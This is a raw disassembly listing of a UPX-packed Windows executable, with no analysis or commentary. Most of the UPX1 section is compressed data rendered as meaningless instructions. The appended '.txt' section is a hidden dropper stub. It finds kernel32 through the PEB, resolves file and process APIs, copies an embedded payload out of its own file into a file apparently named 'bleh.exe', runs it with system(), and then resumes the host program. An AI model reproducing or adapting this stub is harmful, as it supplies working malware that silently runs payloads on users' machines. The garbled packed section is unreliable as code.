0FEE413E4h dd 0F234ADFEh, 51B43D9Fh, 0B3A370F4h, 40D77220h, 68FA1C41h dd 0D13E6819h, 546FFD46h, 0E7EC620Ch, 27A93674h, 0B530CC32h dd 0F16CC433h, 76B7289Dh, 66AEC06Fh, 933F8619h, 0FEC2C49Eh dd 0BE1F95FEh, 0DF9427h, 0F8498A6Ah, 540DA2CFh, 916FE18Bh dd 0A7849E5Ah, 84F61CBBh, 0F715B009h, 1D732863h, 819ECDFBh dd 2A250D5Fh, 0D865EDB1h, 0EBD7D576h, 269951E7h, 69A33274h dd 0F8AB0338h, 60183BBBh, 890B3FF2h, 0C8B98CBFh, 0DB0F07C1h dd 770467B7h, 813D762Eh db 21h ; ! db 0BDh, 0D1h, 66h db 33h ; 3 db 0CEh, 0DAh, 61h db 20h db 18h, 73h, 8Ah db 0C7h ; db 1Ch, 0E6h, 0E4h db 0C5h ; db 59h, 65h, 0AFh db 49h ; I db 4Ah, 1Eh, 0B9h db 1Ch db 0A4h, 0F8h, 0DDh db 68h ; h ; --------------------------------------------------------------------------- mov al, [ebp-2F8916FDh] enter 255Ch, 6Ch test al, 13h sub edx, [ecx+5C8E3448h] retn ; --------------------------------------------------------------------------- db 0ACh ; db 0A7h, 0E8h, 0D8h db 72h ; r db 94h, 0C1h, 9Fh db 54h ; T db 47h, 28h, 24h db 5 db 5Eh, 0D4h, 4Dh db 0E6h ; db 49h, 0FEh, 47h db 43h ; C db 88h, 31h, 53h db 46h ; F db 0Ch, 6, 61h db 8Dh ; db 8Fh, 0EBh, 2 db 0EFh ; db 2, 83h, 0D2h db 0F3h ; db 88h, 0FBh, 6Eh db 3 db 95h, 3Ah, 0Dh db 0BAh ; db 33h, 64h, 0B7h db 99h ; db 8, 3Bh, 9Eh db 0EFh ; db 0DDh, 7Eh, 97h db 0E2h ; db 38h, 0F7h, 6Fh db 0E4h ; db 0D5h, 94h, 0E1h db 0EEh ; db 0C1h, 18h, 62h db 49h ; I db 59h, 0ECh, 3Dh db 0F6h ; db 0CEh, 1Bh, 57h db 0A4h ; db 0A3h, 10h, 23h db 6Dh ; m db 98h, 86h, 31h db 3Eh ; > db 72h, 43h, 8Ch ; --------------------------------------------------------------------------- jmp short loc_31437891 ; --------------------------------------------------------------------------- dw 0D3E1h ; --------------------------------------------------------------------------- xor dh, bl retn ; --------------------------------------------------------------------------- db 33h db 70h ; --------------------------------------------------------------------------- loc_31437891: ; CODE XREF: UPX1:31437888j dec ebp mov dh, 8Fh fucomp st(1) leave mov bh, [edx-2C1C3C09h] nop call far ptr 0C919h:6A36E791h fst qword ptr [esi+443D9953h] add edi, esp inc edx inc ecx pop esi daa call near ptr 0D80AE166h jp short loc_314378F7 mov dl, 0F3h sbb eax, 1E5DFD28h ; CODE XREF: UPX1:31437923j aad 67h cmc sal byte ptr [edx+edi+3Eh], 1 or [ecx], ebx or [edx+7DE40622h], edi adc ebx, [eax-57h] cmp [eax+ebp*4-56h], dh pop esi icebp out 0CFh, eax ; DMA controller, 8237A-5. ; master clear. Clear or mask any or ; all of the channels. Bits: ; 0: 1=mask channel 0; 0=enable ; 1: 1=mask channel 1; ; 2: 1=mask channel 2; ; 3: 1=mask channel 3; inc edi cmpsd out 0B4h, eax ; Interrupt Controller #2, 8259A and [ebp-0A0527CEh], ebp repne push edi xor al, dl pop edi sti jno short loc_3143790A cmpsb sub cl, [esi-7FB850A8h] ficomp dword ptr [edi+eax-53h] wait loc_314378F7: ; CODE XREF: UPX1:314378B6j bound edx, [esi+15h] jecxz short loc_31437948 push ecx pop ebx arpl [ebx+24h], sp dec ebx wait xlat mov dl, 5Ch ; --------------------------------------------------------------------------- dw 0E88Fh db 4Dh, 0B0h ; --------------------------------------------------------------------------- loc_3143790A: ; CODE XREF: UPX1:314378E9j in al, dx inc ebx xor [esi+3ED08795h], dl dec eax popa fiadd dword ptr [edi-36h] cdq cmp eax, 2D1F6BCBh in al, 25h push ebp out 11h, eax pop edi jb short near ptr loc_314378BA+2 mov ebp, 51DCEB86h pop esi inc ebx xchg eax, esp mov [edi], bh inc esi retf ; --------------------------------------------------------------------------- db 0AFh, 0F5h, 0AAh dd 0C4EAC1Dh, 8BF027E7h, 4EEB2650h, 0CE936675h, 0C4156230h ; --------------------------------------------------------------------------- loc_31437948: ; CODE XREF: UPX1:314378FAj ; UPX1:3143798Aj test [edi+28h], bl rep not byte ptr [eax] db 64h inc esp movsb sub byte ptr [edi+ebx-6A4954C8h], 3Ch int 9Dh ; used by BASIC while in interpreter mul dword ptr [esi+ecx*2-13h] ror edx, cl into fstp dword ptr [ebx] mov bh, [eax] mov ecx, 69C71419h imul ecx, [ecx-1D316BABh], -6 ficomp dword ptr [esi] or al, 6Dh enter 23C7h, 38h sbb bl, [ecx+28E60744h] out dx, al pushf add eax, 0A33B26A0h xchg eax, esp popf in al, dx jecxz short loc_31437948 daa rcl dword ptr [esi+7], cl push eax loope near ptr loc_31437999+3 push ds movsd inc eax int 3 ; Trap to Debugger xchg eax, ebx pop ebp loc_31437999: ; CODE XREF: UPX1:31437991j add [edi-50E39191h], ch cmp esi, [ecx-40C00D3Eh] fdiv qword ptr [edi+36B82BDh] call far ptr 8476h:26377F45h jmp near ptr 6B06D063h ; --------------------------------------------------------------------------- db 1Fh db 0B2h ; db 0B3h, 0EEh, 8 db 0BCh ; db 53h, 0C4h, 76h db 0BDh ; db 0B1h, 2, 56h db 0C5h ; db 87h, 36h, 0C8h db 5Bh ; [ db 0F3h, 6Ch, 6 db 0FFh db 45h, 0E2h, 8Fh db 0BBh ; db 0B7h, 25h, 7Bh db 9 db 9Eh, 6Fh, 3Bh db 0C8h ; db 28h, 0EEh, 2Dh db 92h ; db 0E1h, 25h, 2Dh db 6Ch ; l db 2, 0D1h, 13h db 0DAh ; db 92h, 4Fh, 0F7h db 73h ; s db 12h, 85h, 4 db 0D2h ; db 21h, 6Ah, 82h db 96h ; db 0A3h, 5Dh, 6Eh db 1Bh db 0BAh, 55h, 0D1h db 5Fh ; _ db 30h, 0BCh, 13h db 0AFh ; db 8Dh, 65h, 68h db 1Fh db 0B8h, 3Dh, 8Eh db 72h ; r db 18h, 0AAh, 7Eh db 3Ah ; : db 63h, 46h, 68h db 0F3h ; db 0B6h, 9Ah, 57h db 0D0h ; db 52h, 0FCh, 0CDh db 0 db 0ECh, 0CBh, 0AEh db 42h ; B db 0F2h, 80h, 4Bh db 0E1h ; db 6Ch, 77h, 0CFh ; --------------------------------------------------------------------------- sbb [eax], ebx push es sub [eax-3Fh], ecx inc eax retn 5DB3h ; --------------------------------------------------------------------------- dw 9C5h db 44h ; D db 54h, 0F4h, 8Ch db 0D5h ; db 0FEh, 0B6h, 0BEh db 0D0h ; align 2 dw 6214h aIngVccS db 'nG!Vc =',8,'#',0 db 51h, 0C0h, 6Eh db 2Bh ; + db 0ACh, 0Fh, 2 db 31h ; 1 db 7Ah, 0Ch, 0FEh db 9Fh ; db 1Fh, 82h, 0DAh db 4Dh ; M db 0B5h, 0E6h, 19h db 0AAh ; db 5, 0FBh, 0Ah db 69h ; i db 1, 20h, 0CCh db 5Bh ; [ db 0ADh, 9Eh, 5 db 0DEh ; db 7Eh, 90h, 7Eh db 75h ; u db 0C8h, 0AEh, 4Ah db 0E0h ; db 0Bh, 75h, 96h db 73h ; s db 0A1h, 7Ch, 32h db 0A3h ; db 51h, 0E7h, 66h db 0Fh db 7Ah, 91h, 54h db 0D3h ; db 0DAh, 0F7h, 4Ah db 0D6h ; db 0AAh, 41h, 9 db 0C7h ; db 0F7h, 61h, 36h db 0D4h ; db 2Bh, 0D0h, 91h db 28h ; ( db 0D7h, 21h, 99h db 48h ; H db 12h, 0B4h, 0CDh db 48h ; H db 4Ch, 3Dh, 96h db 7Ah ; z ; --------------------------------------------------------------------------- retf 343Fh ; --------------------------------------------------------------------------- db 32h ; 2 db 80h, 0B0h, 0Ch db 5Bh ; [ db 0CFh, 39h, 48h db 0Fh align 2 dw 7267h db 5Dh ; ] db 51h, 4Bh, 0D6h db 8Ah ; db 22h, 0F7h, 8Fh db 2 db 87h, 0F5h, 9Fh db 6Eh ; n db 66h, 8Ch, 0F3h db 0E0h ; db 6Bh, 4Fh, 98h db 27h ; ' db 2Ah, 19h, 33h db 0A8h ; db 97h, 5Ch, 0AAh db 7 db 0D5h, 14h, 88h db 40h ; @ db 12h, 87h, 7Fh db 23h ; # db 80h, 0ABh, 4Ch db 0Fh db 7Ch, 53h, 7Fh db 18h db 75h, 32h, 0A1h db 50h ; P db 0E7h, 0DCh, 0CEh db 4Eh ; N db 80h, 0Ch, 54h db 3Dh ; = db 32h, 1Dh, 97h db 67h ; g db 39h, 7, 0DDh db 9 db 0D8h, 4Ah, 5Ah db 1Dh db 78h, 16h, 0A4h db 0CFh ; db 2Eh, 20h, 92h db 15h db 0B8h, 0CAh, 51h db 0F4h ; db 0FAh, 43h, 21h db 81h ; db 79h, 2Ah, 0A4h db 1Dh db 53h, 0E6h, 90h db 96h ; db 0A7h ; db 3Fh ; ? db 40h ; @ db 7Fh ; db 65h ; e db 1Ch db 0C7h ; db 80h ; db 46h ; F db 1Fh db 0Fh db 94h ; db 88h ; db 0FAh ; db 7Fh ; db 75h ; u db 0CDh, 0DFh, 0BEh db 4Eh ; N db 7Ch, 0E9h, 8Fh db 54h ; T db 0BCh, 7Ah, 0CCh db 49h ; I db 15h, 2, 43h db 2Eh ; . db 0FBh, 0CDh, 5Dh db 0F2h ; db 6Dh, 2, 9Fh ; --------------------------------------------------------------------------- fbstp tbyte ptr [eax+6BE2EB37h] and esp, eax xchg eax, esi xor [ebp+2CA0909Fh], ebp jnb short locret_31437BBE mov ecx, 6405E91Dh add eax, 6AC64FB8h cli push esp fadd st(4), st mov ecx, 651FBF08h scasd or al, 35h pusha cmp dword ptr [ebx+6Fh], 16E8901Ch jnp short loc_31437B93 sub al, 82h retf ; --------------------------------------------------------------------------- dd 56CABA59h, 0CDA07059h, 0E5E60B86h, 0C7F2304Ah, 0C2FDA5CDh dd 2EEBF363h, 6680BA97h, 0E14241BBh, 56DC0196h, 0D5A30914h dd 1EC899AAh db 1Fh, 96h, 80h ; --------------------------------------------------------------------------- loc_31437B93: ; CODE XREF: UPX1:31437B5Fj nop retn ; --------------------------------------------------------------------------- db 6Fh, 27h, 44h dd 9D8992BFh, 0A24EBC7Fh, 8C695B2Fh, 2DEAAC20h, 45AA347Dh dd 55876CDAh, 64237430h, 747EB1ECh, 732E605Ch db 0BFh, 97h ; --------------------------------------------------------------------------- locret_31437BBE: ; CODE XREF: UPX1:31437B3Fj retf ; --------------------------------------------------------------------------- cwde retf ; --------------------------------------------------------------------------- db 52h, 0D5h, 0C4h db 0F4h ; db 0AAh, 8Ah, 1Ch db 2Eh ; . db 71h, 0ECh, 84h db 28h ; ( db 0Bh, 9Fh, 0F4h db 3 db 7Dh, 0C0h, 0Bh db 0D3h ; db 85h, 0F1h, 3Ah db 6Fh ; o db 0FBh, 84h, 90h db 9Bh ; db 0B8h, 2Dh, 0A4h db 3 db 60h, 36h, 0CFh db 5Ch ; \ db 0A0h, 0A6h, 8Ah db 19h db 2Fh, 63h, 76h db 89h ; db 0B0h, 0ADh, 5 db 0D7h ; db 3Bh, 88h, 0BCh db 0D7h ; db 0DBh, 0EAh, 0E8h db 0E3h ; db 0F7h, 53h, 0B1h db 0Eh db 80h, 0B6h, 0A2h db 9Ah ; db 5Fh, 0DCh, 9Eh db 0F5h ; db 43h, 0BFh, 4Bh db 61h ; a db 0FBh, 0E3h, 0A3h ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- db 12h, 94h, 5Ah db 9Fh ; db 5Fh, 50h, 6Fh db 64h ; d db 7Bh, 7Dh, 3Fh db 33h ; 3 db 59h, 0E7h, 7Dh db 6Dh ; m db 4Dh, 46h, 0B7h db 63h ; c db 7Bh, 38h, 8Fh db 0E4h ; db 0F8h, 0B7h, 0FDh db 58h ; X db 68h, 0A4h, 0B3h db 0B7h ; db 0A7h, 43h, 88h db 0B5h ; db 0BAh, 22h, 6Eh db 9Eh ; db 99h, 2 dup(0A3h) db 0BAh ; db 2Ah, 0E1h, 32h dd 0D5C8E713h, 67FBF813h, 28F6E6E7h db 6Fh ; o db 83h, 0F7h, 0B7h db 6Ah ; j db 93h, 0A9h, 0EBh db 63h ; c db 0ABh, 6Fh, 0B4h db 0A9h ; db 0AEh, 0B4h, 0C9h db 35h ; 5 db 0D5h, 3Bh, 27h db 40h ; @ db 75h, 0DDh, 0B3h db 6Ah ; j db 0B1h, 68h, 78h db 5Bh ; [ db 8Fh, 0D9h, 0E5h dd 5C92D75Bh, 0D2DBE214h, 383838B0h, 38383838h, 0BE313838h dd 40404040h ; --------------------------------------------------------------------------- and [esi], bl loc_31437C82: ; CODE XREF: UPX1:31437C94j pop esi db 3Eh std xor [edi-2D3282FFh], bh sar dword ptr [ecx+eax-38h], cl sub eax, 0CC5CAC3Ah jl short loc_31437C82 pushf or al, 0A6h mov al, 0FAh mov cl, [ebp-3EFD262Ah] db 2Eh mov ebx, 0B6B25AA5h push edi mov word ptr [eax+49h], es sub [eax+4Ah], ecx dec edx dec edx dec ebx nop push ebx pushf sub [ebx], esi enter 4020h, 0A9h ; CODE XREF: UPX1:31437CEBj adc dh, [ebp+22AD7475h] sub eax, esi and [edx-484CA65Eh], edi push esi add dword ptr [eax+42h], 0FFFFFFBBh jb short loc_31437CD6 ; --------------------------------------------------------------------------- db 0EFh dd 0B06980ECh ; --------------------------------------------------------------------------- rcr byte ptr [edx], cl loc_31437CD6: ; CODE XREF: UPX1:31437CCDj nop mov ds:9C8373ECh, al push ss mov ds:429916C3h, al add esi, ebp jnp short loc_31437D4B sbb dh, dl not byte ptr [edi] int 3 ; Trap to Debugger jecxz short near ptr loc_31437CB6+1 int 16h ; KEYBOARD - fstp qword ptr [edx] scasd mov cl, 4Eh mov esi, 37902BC2h ; --------------------------------------------------------------------------- db 0FEh, 75h, 55h dd 0C70CD7D4h, 54A7A520h, 8E55B4B4h, 0D00B8821h, 0B43DB695h dd 1CEC4F4Dh, 0BB36CD1Ch, 61639CDFh, 10E31BE4h, 86572A29h dd 0E5A2A429h, 385817Ah, 0C48670E4h, 0D7105740h, 5FBAAB92h dd 0C626160h, 0FE3AB5A7h, 118C8BFAh, 8A63D8D2h db 48h, 27h, 36h ; --------------------------------------------------------------------------- loc_31437D4B: ; CODE XREF: UPX1:31437CE4j mov ecx, 423D6176h inc ebx inc esp in al, 91h push esi and edi, edx xlat xlat xlat pop ebp db 66h das xor dword ptr [ebx], 0FFFFFFFFh ; --------------------------------------------------------------------------- db 0FEh ; db 77h, 80h, 0EEh db 0D1h ; db 2Ch, 5Bh, 51h db 1Eh db 27h, 0ADh, 0EEh db 14h db 72h, 0BBh, 0D3h db 2Bh ; + db 0EAh, 2Ch, 0BCh db 3Ah ; : db 86h, 2Fh, 0D7h db 0A7h ; db 4Ch, 7Ah, 7Bh db 8Bh ; db 0E2h, 0F3h, 78h ; --------------------------------------------------------------------------- mov ecx, 490BC340h push esp jmp short loc_31437DD5 ; --------------------------------------------------------------------------- dd 101E1B1h, 5C9A8B8Ah, 0FF9E9528h, 24148EFBh, 0B4B43444h dd 7BF846B5h, 0DFB54ABCh, 0DBDB1B53h, 46FDFA4Eh, 58649040h dd 5C9B10E9h, 682FC66Dh, 91B48126h, 50F99755h, 0F7FCFA5h dd 38E6EFEFh, 0BFBA2BCCh, 0E201813Ch, 0F55D332Ch db 85h ; --------------------------------------------------------------------------- loc_31437DD5: ; CODE XREF: UPX1:31437D86j db 65h, 65h add al, 2Fh mov ebp, 66989766h ; --------------------------------------------------------------------------- aFfffffffffffff db 'ffffffffffffffffffffffffffffffffff',0 align 200h UPX1 ends ; Section 3. (virtual address 00008000) ; Virtual size : 00002000 ( 8192.) ; Section size in file : 00002000 ( 8192.) ; Offset to raw data for section: 00008000 ; Flags E0000060: Text Data Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute UPX2 segment para public 'CODE' use32 assume cs:UPX2 ;org 31438000h assume es:nothing, ss:nothing, ds:UPX0, fs:nothing, gs:nothing dd 3 dup(0) dd 80C4h, 808Ch, 3 dup(0) dd 80D1h, 809Ch, 3 dup(0) dd 80DEh, 80A4h, 3 dup(0) dd 80E9h, 80ACh, 3 dup(0) dd 80F4h, 80B4h, 3 dup(0) dd 8100h, 80BCh, 5 dup(0) dd 77E805D8h, 77E7A5FDh, 77E75CB5h, 0 dd 77DD189Ah, 0 dd 77C3528Dh, 0 dd 77D4C96Ah, 0 dd 7620AFB6h, 0 dd 71AB1A6Dh, 0 dd 4E52454Bh, 32334C45h, 4C4C442Eh, 56444100h, 33495041h dd 6C642E32h, 534D006Ch, 54524356h, 6C6C642Eh, 45535500h dd 2E323352h, 6C6C64h, 494E4957h, 2E54454Eh, 6C6C64h, 5F325357h dd 642E3233h, 6C6Ch, 64616F4Ch, 7262694Ch, 41797261h, 65470000h dd 6F725074h, 64644163h, 73736572h, 78450000h, 72507469h dd 7365636Fh, 73h, 43676552h, 65736F6Ch, 79654Bh, 61720000h dd 646Eh, 72707377h, 66746E69h, 41h, 65746E49h, 74656E72h dd 6E65704Fh, 41h, 26h dup(0) dd 0C3906893h, 0C48BED01h, 0E85BD0FFh, 5Fh, 824648Bh, 4EBB8h dd 64FAEB00h, 18A167h, 0F30408Bh, 830240B6h, 427500F8h dd 0E8h, 0ED815D00h, 402338h, 2385858Bh, 85030040h, 40238Dh dd 858BF08Bh, 402389h, 238D8503h, 60500040h, 0C933FE8Bh dd 2395958Ah, 32AC0040h, 0AAD002C2h, 918D3B41h, 7C004023h dd 2BC361F1h, 30FF64C0h, 0B8208964h, 12345678h, 60000387h dd 7C800000h, 0 dd 1E003143h, 300000h, 75Ch dup(0) UPX2 ends ; Section 4. (virtual address 0000A000) ; Virtual size : 000004AE ( 1198.) ; Section size in file : 000004AE ( 1198.) ; Offset to raw data for section: 0000A000 ; Flags E0000020: Text Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute _txt segment para public 'CODE' use32 assume cs:_txt ;org 3143A000h assume es:nothing, ss:nothing, ds:UPX0, fs:nothing, gs:nothing ; [00000005 BYTES: COLLAPSED FUNCTION start. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_3143A005: ; CODE XREF: .txt:loc_3143A0F9p pop edx push esi push edi push eax push ecx push ebx mov ebx, edx call sub_3143A2AD lea esi, [ebx+1Ch] lea edi, [ebx+25h] mov dword ptr [ebx+0CBh], 0Fh call sub_3143A222 mov [ebx+0D3h], eax lea edi, [ebx+34h] mov dword ptr [ebx+0CBh], 0Dh call sub_3143A222 mov [ebx+0CFh], eax lea edi, [ebx+41h] call sub_3143A20A mov [ebx+0D7h], eax lea edi, [ebx+4Dh] call sub_3143A20A mov [ebx+0DBh], eax lea edi, [ebx+57h] call sub_3143A20A mov [ebx+0DFh], eax lea edi, [ebx+60h] call sub_3143A20A mov [ebx+0E3h], eax lea edi, [ebx+8Eh] call sub_3143A20A mov [ebx+0E7h], eax lea edi, [ebx+9Ah] call sub_3143A20A mov [ebx+0EBh], eax lea edi, [ebx+6Ch] call sub_3143A20A mov [ebx+0EFh], eax lea edi, [ebx+7Fh] call sub_3143A20A mov [ebx+0F3h], eax lea esi, [ebx+0A5h] lea edi, [ebx+0ACh] call sub_3143A20A mov [ebx+0B3h], eax push ebx call sub_3143A335 pop ebx pop ebx pop ecx pop eax pop edi pop esi loc_3143A0F9: ; CODE XREF: startj call loc_3143A005 ; --------------------------------------------------------------------------- dw 0 dd 0A0000000h, 82000000h, 0EBD80000h, 0CFA50002h, 0 db 43h ; C db 31h, 2 dup(0) db 0E6h ; aWkernel32 db 'wkernel32',0 aGetprocaddress db 'GetProcAddress',0 aLoadlibrarya db 'LoadLibraryA',0 aCreatefilea db 'CreateFileA',0 aWritefile db 'WriteFile',0 aReadfile db 'ReadFile',0 aClosehandle db 'CloseHandle',0 aGetmodulefilen db 'GetModuleFileNameA',0 aSetfilepointer db 'SetFilePointer',0 aGlobalalloc db 'GlobalAlloc',0 aGlobalfree db 'GlobalFree',0 aMsvcrt db 'msvcrt',0 aSystem db 'system',0 db 44h, 80h, 0C2h dd 3A077h, 0E8216800h, 0E82FE877h, 0E83E6877h, 22E77h dd 0D00h, 0E805D800h, 0E7A5FD77h, 0E7A83777h, 0E79D8C77h dd 0E78B8277h, 0E7796377h, 0E736A377h, 0E7380377h, 0E7A09977h dd 0E78C8177h, 0CFA577h, 14AF8800h, 4400h, 656C6200h, 78652E68h db 65h, 0 ; =============== S U B R O U T I N E ======================================= sub_3143A20A proc near ; CODE XREF: .txt:3143A054p ; .txt:3143A065p ... push ecx push edi push esi push esi call dword ptr [ebx+0CFh] push eax pop ecx push edi push ecx call dword ptr [ebx+0D3h] pop esi pop edi pop ecx retn sub_3143A20A endp ; =============== S U B R O U T I N E ======================================= sub_3143A222 proc near ; CODE XREF: .txt:3143A028p ; .txt:3143A043p xor eax, eax mov [ebx+0C7h], eax loc_3143A22A: ; CODE XREF: sub_3143A222+47j mov edx, [ebx+0C7h] cmp edx, [ebx+0B7h] jge short loc_3143A295 inc edx mov [ebx+0C7h], edx xor eax, eax mov eax, [ebx+0C7h] shl eax, 2 mov ecx, [ebx+0BFh] add ecx, eax mov eax, [ecx] add eax, [ebx+18h] push edi push esi push ecx mov esi, edi mov edi, eax mov ecx, [ebx+0CBh] repe cmpsb pop ecx pop esi pop edi jnz short loc_3143A22A xor eax, eax mov eax, [ebx+0C7h] shl eax, 1 mov ecx, [ebx+0C3h] add ecx, eax xor eax, eax mov ax, [ecx] shl eax, 2 mov ecx, [ebx+0BBh] add eax, ecx mov ecx, [eax] add ecx, [ebx+18h] mov eax, ecx retn ; --------------------------------------------------------------------------- loc_3143A295: ; CODE XREF: sub_3143A222+14j xor eax, eax retn sub_3143A222 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_3143A2AD loc_3143A298: ; CODE XREF: sub_3143A2AD+25j ; sub_3143A2AD+36j mov eax, large ds:0 loc_3143A29D: ; CODE XREF: sub_3143A2AD+Cj db 3Eh mov eax, [eax+34h] db 3Eh mov ebp, [eax+0B8h] jmp loc_3143A2BB ; END OF FUNCTION CHUNK FOR sub_3143A2AD ; =============== S U B R O U T I N E ======================================= sub_3143A2AD proc near ; CODE XREF: .txt:3143A00Dp ; FUNCTION CHUNK AT 3143A298 SIZE 00000015 BYTES push eax push ecx push esi push ebp mov eax, large fs:30h test eax, eax js short loc_3143A29D loc_3143A2BB: ; CODE XREF: sub_3143A2AD-5j db 3Eh mov eax, [eax+0Ch] db 3Eh mov esi, [eax+1Ch] lodsd db 3Eh mov ebp, [eax+8] mov [ebx+18h], ebp mov eax, ebp cmp word ptr [eax], 5A4Dh jnz short loc_3143A298 add eax, 3Ch mov ecx, [eax] add ecx, [ebx+18h] cmp word ptr [ecx], 4550h jnz short loc_3143A298 add ecx, 78h mov esi, [ecx] add esi, [ebx+18h] add esi, 18h lodsd mov [ebx+0B7h], eax lodsd add eax, [ebx+18h] mov [ebx+0BBh], eax lodsd add eax, [ebx+18h] mov [ebx+0BFh], eax lodsd add eax, [ebx+18h] mov [ebx+0C3h], eax pop ebp pop esi pop ecx pop eax retn sub_3143A2AD endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_3143A335 loc_3143A320: ; CODE XREF: sub_3143A335+73j ; sub_3143A335+122j ... mov ecx, [ebx+8] mov edx, [ebx+14h] add edx, ecx pop ebx pop ebx pop ebx pop ecx pop eax pop edi pop esi mov [esp+arg_30], edx jmp edx ; END OF FUNCTION CHUNK FOR sub_3143A335 ; =============== S U B R O U T I N E ======================================= sub_3143A335 proc near ; CODE XREF: .txt:3143A0EEp arg_30 = dword ptr 34h ; FUNCTION CHUNK AT 3143A320 SIZE 00000015 BYTES mov ecx, ebx sub ecx, [ebx+4] xor cx, cx mov [ebx+14h], ecx push 104h push 40h call dword ptr [ebx+0E7h] mov [ebx+0FBh], eax push 104h mov eax, [ebx+0FBh] push eax push 0 call dword ptr [ebx+0EFh] push 0 push 80h push 3 push 0 push 3 push 80000000h mov eax, [ebx+0FBh] push eax call dword ptr [ebx+0D7h] mov [ebx+0FFh], eax cmp dword ptr [ebx+0FFh], 0FFFFFFFFh jz loc_3143A320 mov eax, [ebx+0FBh] push eax call dword ptr [ebx+0EBh] push 0 push 0 mov eax, [ebx+0Ch] push eax mov ecx, [ebx+0FFh] push ecx call dword ptr [ebx+0F3h] mov eax, [ebx+10h] push eax push 40h call dword ptr [ebx+0E7h] mov [ebx+0FBh], eax push 0 lea eax, [ebx+0F7h] push eax mov ecx, [ebx+10h] push ecx mov edx, [ebx+0FBh] push edx mov eax, [ebx+0FFh] push eax call dword ptr [ebx+0DFh] mov eax, [ebx+0FFh] push eax call dword ptr [ebx+0E3h] push 0 push 80h push 2 push 0 push 3 push 40000000h lea edx, [ebx+103h] push edx call dword ptr [ebx+0D7h] mov [ebx+0FFh], eax cmp dword ptr [ebx+0FFh], 0FFFFFFFFh jz loc_3143A320 push 0 lea eax, [ebx+0F7h] push eax mov ecx, [ebx+10h] push ecx mov edx, [ebx+0FBh] push edx mov eax, [ebx+0FFh] push eax call dword ptr [ebx+0DBh] mov eax, [ebx+0FFh] push eax call dword ptr [ebx+0E3h] mov eax, [ebx+0FBh] push eax call dword ptr [ebx+0EBh] lea eax, [ebx+103h] push eax call dword ptr [ebx+0B3h] jmp loc_3143A320 sub_3143A335 endp ; --------------------------------------------------------------------------- db 0 _txt ends ; Section 5. (virtual address 0000B000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00000200 ( 512.) ; Offset to raw data for section: 0000A600 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata2 segment para public 'DATA' use32 assume cs:_idata2 ;org 3143B000h align 2000h _idata2 ends end start